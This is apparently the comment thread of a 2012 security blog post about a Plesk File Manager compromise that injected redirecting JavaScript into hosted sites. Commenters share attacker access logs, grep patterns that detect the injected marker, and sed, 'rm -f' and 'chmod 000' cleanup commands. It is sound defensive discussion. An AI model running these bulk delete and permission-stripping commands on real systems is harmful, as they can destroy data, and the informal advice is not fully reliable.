    mv filemanager.php filemanager._hp

  31. |

    Just stopped in to let you know, I have been messing with this script too, and the URLS it created for the last 2 days show up in your list here in the proper order. Tomorrow, July 6th should be ciqmhuwgvfsxdtrw. Looks like your list is the real deal.

  32. |

    @Alex – Have you been secured since you changed all your passwords? I’m running Plesk 8.6 and I was infected and my logs look pretty similar to you (see below).

    I immediately reset all passwords (Admin, FTP, Web Users, etc…) and cleaned out the infected files. I also ran all micro-updates for Plesk 8.6. Finally, I ran RKHunter and got a clean bill.

    Upgrading to a more recent version of Plesk would be ideal but, as I’m sure many people are aware, Plesk upgrades aren’t always that smooth.

    Thanks for any advice that anyone has. – – [03/Jul/2012:03:31:37 -0400] “GET /filemanager/filemanager.php?cmd=chdir&file=/httpdocs/&previous_page=filemanager HTTP/1.1″ 200 37737 – – [03/Jul/2012:03:31:38 -0400] “GET /domains/dom_ctrl.php3?dom_id=10&previous_page=domains&cmd=file_manager HTTP/1.1″ 200 524 – – [03/Jul/2012:03:31:38 -0400] “GET /filemanager/filemanager.php?cmd=edit&file=script.js&previous_page=filemanager HTTP/1.1″ 200 109543 – – [03/Jul/2012:03:31:39 -0400] “POST /filemanager/filemanager.php HTTP/1.1″ 200 37737 – – [03/Jul/2012:03:31:39 -0400] “GET /filemanager/filemanager.php?cmd=chdir&file=/httpdocs/js/&previous_page=filemanager HTTP/1.1″ 200 40854 – – [03/Jul/2012:03:31:40 -0400] “GET /domains/dom_ctrl.php3?dom_id=91&previous_page=domains&cmd=file_manager HTTP/1.1″ 200 524 – – [03/Jul/2012:03:31:40 -0400] “GET /domains/dom_ctrl.php3?dom_id=69&previous_page=domains&cmd=file_manager HTTP/1.1″ 200 524 – – [03/Jul/2012:03:31:40 -0400] “GET /filemanager/filemanager.php?cmd=edit&file=jquery.min.js&previous_page=filemanager HTTP/1.1″ 200 184967 – – [03/Jul/2012:03:31:40 -0400] “GET /filemanager/filemanager.php?previous_page=dom_ctrl HTTP/1.1″ 200 43567 – – [03/Jul/2012:03:31:41 -0400] “GET /filemanager/filemanager.php?cmd=chdir&file=/httpdocs/templates/blockapotamus/js/&previous_page=filemanager HTTP/1.1″ 200 32942 – – [03/Jul/2012:03:31:42 -0400] “GET /filemanager/filemanager.php?previous_page=dom_ctrl HTTP/1.1″ 200 47536 – – [03/Jul/2012:03:31:43 -0400] “POST /filemanager/filemanager.php HTTP/1.1″ 200 103926 – – [03/Jul/2012:03:31:43 -0400] “GET /filemanager/filemanager.php?previous_page=dom_ctrl HTTP/1.1″ 200 43623 – – [03/Jul/2012:03:31:43 -0400] “GET /filemanager/filemanager.php?cmd=edit&file=modal.js&previous_page=filemanager HTTP/1.1″ 200 123011 – – [03/Jul/2012:03:31:44 -0400] “GET /domains/dom_ctrl.php3?dom_id=17&previous_page=domains&cmd=file_manager HTTP/1.1″ 200 524 – – [03/Jul/2012:03:31:45 -0400] “GET /domains/dom_ctrl.php3?dom_id=11&previous_page=domains&cmd=file_manager HTTP/1.1″ 200 524 – – [03/Jul/2012:03:31:46 -0400] “POST /filemanager/filemanager.php HTTP/1.1″ 200 177469 – – [03/Jul/2012:03:31:46 -0400] “GET /filemanager/filemanager.php?cmd=chdir&file=/httpdocs/js/scriptaculous/&previous_page=filemanager HTTP/1.1″ 200 41732 – – [03/Jul/2012:03:31:46 -0400] “GET /filemanager/filemanager.php?cmd=edit&file=script.js&previous_page=filemanager HTTP/1.1″ 200 108474

  33. |

    Great write up, very interesting! Unfortunatley I’m not much of a coder myself, you say it only took you a few mins to make a script that predicts the urls, would this be somehthing you could share? Thanks in advance!

  34. |

    Hi folks

    This stuff is very useful.

    I have a site hosted on a Plesk server. I have left a message with the administrator and meanwhile ran the sucuri checker. It said i have 4 infected js files. Manually edited out the bad code, reran the checker, it says I am clean.

    But I’m not :(
    Here is what developer tools shows in Chrome:

    Cyprus Property & Villas ≈ Contact Us

    I have been through each of the js files and they all look clean, but I still get this appearing

    Any ideas where else to go?



  35. |

    Thank you so much for posting this information. Our site became infected July 2, 2012, flagged by Google. I deleted and re-added scripts and an html page flagged by Google. Google verified the site and it was okay until July 7. The script files were modified at 5:55 am on July 7 – and not by me. I again deleted and re-added.

    Right now I have the index removed and plan to find a host server that does not use Plesk.

    Thank you so much for the information!

  36. |

    Thanks ever so much for this post and all the useful comments! Just for other folks, I noticed that one of the most useful commands posted above had some html entities, and I just thought I’d summarize here exactly what I did that helped fix this situation for me (hopefully sans html entities).

    First to find all the infected files:
    grep -rl –include=*.{php,js,html,htm} “km0ae9gr6m” *

    Next to remove the offending line:
    grep -rl –include=*.{php,js,html,htm} “km0ae9gr6m” * | xargs sed -i -e ‘s/\/\*km0ae9gr6m/\n&/g’ -e ‘s/qhk6sa6g1c\*\//&\n/g’ -e ‘/km0ae9gr6m*/,/qhk6sa6g1c/d’

    Next to break Plesk’s compromised File Manager (assuming you’re not using it… and because we all know what fun it is updating Plesk!):
    cd /usr/local/psa/admin/htdocs/filemanager/
    mv filemanager.php filemanager._hp

    Does anyone know what kind of payload this script had? I did visit an infected site on my server before I realized what was going on (while troubleshooting initially). I’m on Mac OS X, and since this was written on Windows, I’m hoping that it only affects those machines. I’m now running an app called “Litte Snitch” to monitor all my outbound traffic for suspicious activity; so far nothing (also ran ClamXAV, also nothing).

    • |

      My line was cut off there. The important remove offending line should all be entered on one line, but here it is split up (sans html entities):

      grep -rl –include=*.{php,js,html,htm} “km0ae9gr6m” * | xargs sed -i -e
      ‘s/\/\*km0ae9gr6m/\n&/g’ -e ‘s/qhk6sa6g1c\*\//&\n/g’ -e

      • |

        Still very interested to hear if anyone knows what this script will do once it’s on one’s computer!

        • |

          Quite usual stuff. Although it varies based on the OS/browser/country of users.

          • |

            Ah, thanks for the link! It appears I was rather lucky in that the Ghostery browser plugin on my Mac blocked that iFrame in both Firefox and Webkit and so I was never redirected to any payload site :) So far so good here having disabled Plesk’s File Manager and cleaned infected files; I’ve also setup a cron job to check for the infection regularly to keep an eye on things. Migrating to Virtualmin away from Plesk (that was already in the works, but this sped that up a bit!)

      • |

        So there I was thinking I was summarizing this neatly. Before running the grep commands one needs first to:

        cd /var/www/vhosts

  37. |


    My site was also infected by July the 2nd (running wordpress) and with a massive flood of spam comments. Cleaned the site but later, on July the 7th I found that index.php was infected by this script. Immediately I requested to change the passwords for plesk and sucuri marked the site with an outdated version of plesk.

    Cleaning the site only worked for a few hours since on the 8th I found again the file index.php with the additional javascript. Cleaned again and the password for plesk was changed again….

    Notice this, I had a PLESK password until July the 7th, changed by the webhosting service support on July the 8th before 4 AM and after that (I guess that in between 4 AM and 11 AM) the file index.php was once again changed to include the script. The password has been reset again, but I guess there’s another exploit that hasn’t been detected so the files can be changed…

    Currently I blocked the access to PLESK (not even I can access) by killing the browser during a PLESK session. I’ve monitored the site since then and it’s stable.

    I want to add that in the meanwhile a constant flow of HTTP POST requests to comments were issued to the site almost every second from random IPS (some of China, Russia and even in the range of Microsoft Headquarters)…

  38. |

    how can we remove the code in windows server?? and where can we find the function that executes this code

  39. |

    We are running a Windows server with Plesk 9.5.4 and we got infected as well. Currently, we are running all the commands above in Cygwin and hoping to get this resolved once and for all.

    Is there any official patch from Parallels yet instead of their micro-updates?

  40. |

    This plesk garbage has me so frustrated. I have been working for days to find the infections in my server and it seems it must be in my sites database but I can’t seem to find it anywhere. I’ve changed my passwords and tried multiple things to find the infection and can’t seem to locate it.

    It also seems that the script only runs between 4am and 6am EST, which makes no sense to me… If anyone is willing to help me track down the infection I would greatly appreciate it.

    • |

      I think it runs every 12 hours or so.
      My redirect site keeps changing.

  41. |

    Where do I find the filemanager in Plesk on Debian? /usr/local/psa/admin/htdocs/filemanager contains only one file: getimg.php

    I additionaly run a “rm -f `grep -ls ‘Gootkit’ /var/www/vhosts/*.*/cgi-bin/*.pl`” to remove bad perl scripts.

  42. |

    I found it (searched for a long time but found it 3mins after posting here). It’s at /usr/local/psa/admin/bin/filemng

    • |

      I found it on CentOS at:


  43. |

    Maybe this

    chmod 000 /opt/psa/admin/plib/ui/*

    can help!

  44. |

    To your lastest update to your blogpost: Perhaps it makes sense to write another blogpost how to lock plesk down and make external access as hard as possible. What are the best practices to stop the next wave?

    • |

      I’m not a Plesk expert and never worked with Plesk. I totally rely on the information provided by server administrators who take time and leave their comments here. If anyone want to do a guest post about Plesk security on this blog, please contact me.

      Meanwhile a link to the SparkTrust’s article Plesk vulnerability remediation tips
      Literally the same advice as you can find here in comments (patch Plesk, reset passwords, break File Namager), just more detailed.

  45. |

    How did you find the injected code?
    I can use chrome to see the site redirect, but what do I do to find the malicious code?

    Actually, thanks to Google Chrome and the Developers Tools, I think I got it figured out. Thank you for this article!

  46. |

    Thanks for the great article. Really appreciated!

    Can anyone tell me where the equivalent of filemanager.php can be found in plesk 9.5.4?

    locate filemanager only returns the following:


  47. |

    […] a detailed blog post last month about a new technological advancement in BlackHole exploit kits, malware researcher Denis Sinegubko […]

  48. |

    The grep for “km0ae9gr6m” did NOT catch all infected files on our systems.
    All fingerprints seem like 10 characters between “/*” and ” */” however. (like /*0123456789*/ )

    I used this: (Some false positives possible)

    find /var/www/vhosts/*/httpdocs/ -type f \( -name ‘*.htm*’ -o -name ‘*.js’ -o -name ‘*.php*’ \) -print0 | xargs -0 egrep -l ‘/\*[a-zA-Z0-9]{10}\*/’

    • |

      Could you post some other real fingerprints? Were they used along with the same JavaScript code? If not, could you publish it on and post the link here?

      • |

        Hmm… No sorry. Everything is cleaned and I didn’t keep any reference…
        A customer cleaned his server only looking at “km0ae9gr6m”. After that I discovered more with clamscan and/or avgscan. That is how I discovered there were similar but not the same fingerprints like that /*km0ae9gr6m*/.

  49. |

    We have a full write up on the attack and mitigation steps:

    Hope this helps others!


  50. |

    Theres an Update for Plesk that should fix the actual vulnerability: